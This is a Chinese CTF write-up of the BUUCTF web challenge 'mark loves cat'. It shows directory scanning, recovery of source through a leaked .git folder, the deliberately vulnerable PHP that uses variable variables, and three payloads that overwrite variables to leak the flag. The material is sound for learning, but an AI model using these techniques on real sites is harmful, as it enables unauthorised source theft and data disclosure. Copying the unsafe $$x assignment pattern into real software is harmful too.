buuctf web mark loves cat

打开场景,是一个主页,先审计源码,发现很多a链接,但都是指向本页面的死链,没啥用
扫目录,python3 dirmap.py -i http://bba5d728-52ed-427c-bf70-629b758fa581.node4.buuoj.cn:81/ -lcf
扫出来一堆.git,那么就考虑git源码泄露
githacker --url http://bba5d728-52ed-427c-bf70-629b758fa581.node4.buuoj.cn:81/.git --folder result1
查看结果,一目录,两文件,最重要的是index.php
把重要的部分截出来

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

分析一下逻辑,发现很明显最后的echo"the flag is".$flag是一定执行不到的
具体原因

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

因此不管是get还是post,你必须带一个flag参数过去
但是你一旦带了flag参数,假设是get过去的,假设?flag=aaa,就会触发

foreach($_GET as $x => $y){
    $$x = $$y;
}
flag=aaa $flag=$aaa,$flag被覆盖为空,你不管传什么,flag都会被覆盖成你自定义的变量,唯一能绕过的方法就是flag=flag或者flag=aaa&aaa=flag
但是带过去的flag参数不能是flag因为
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
即$flag=$flag就别想了,
那么flag=aaa&aaa=flag呢,也过不去,因为
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
即flag参数的值不能是其他请求参数,防止你通过中间变量构造$flag=$flag
真坏啊!!!!!!!!!
那么靠get这条路去echo "the flag is: ".$flag;就堵死了
下面来讨论post带flag参数过去
其实是同样的道理,我敢保证这题的作者绝对是逻辑怪
foreach($_POST as $x => $y){
    $$x = $y;
}
flag=aaa,$flag=aaa,好嘛,这更直接,直接给flag赋值了
到这就讨论完了为什么最后的echo肯定执行不了了,但是观察页面源码的时候我们发现他的exit()也是会回东西给我们的

好了,这就是本题的绕过点
基本思路:

$handsome=$flag
$is=$flag
$yds=$flag

这三条必须出现一条不过分吧
神奇的payload1:yds=flag

过第一层:$yds=$flag
在这里结束

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
相当于exit($flag),查看源码,拿到flag

又神奇了的payload2:
is=flag&flag=flag

过第一层:
$is=$flag
$flag=$flag
很明显他在利用

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
出发后也相当于exit($is)
到这思路彻底打开了,收不住了

神奇的payload3:

/?a=flag&flag=a&handsome=flag
过第一层:
$a=$flag
$flag=$a
$handsome=$flag
然后在这停顿:
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

这里是纯靠get参数来实现的,下面来讨论post为什么不行,是因为post只有赋值功能,我们要利用exit来输出的话,必须要做的一件事是 变 量 名 = 变量名= =flag,然后触发相应的条件
利用yds的话,必须有的一件事是yds=flag,post这里flag绝对不能给值,给其他值也没意义,虽然也输出flag但是是多此一举
利用is的话,$flag=flag,而且是第一步执行,想都不要想
利用handsome的话,跟第一种情况其实是一样的,所以也没意思
参考视频链接:https://www.bilibili.com/video/BV1ML4y1p7EK/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值